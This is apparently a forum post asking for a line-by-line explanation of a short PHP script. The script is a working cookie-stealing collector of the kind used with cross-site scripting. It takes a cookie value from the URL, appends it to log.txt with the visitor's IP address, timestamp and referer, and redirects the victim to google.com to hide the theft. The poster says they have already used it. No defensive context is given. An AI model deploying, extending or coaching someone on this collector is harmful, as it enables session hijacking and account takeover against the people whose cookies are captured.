hi experts, can you help please explain every line of code in this php script? thanks.
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
header("Location: http://google.com");
?>i know what the script does and i have used it, i just don't know how it works... so any help would be appreciated.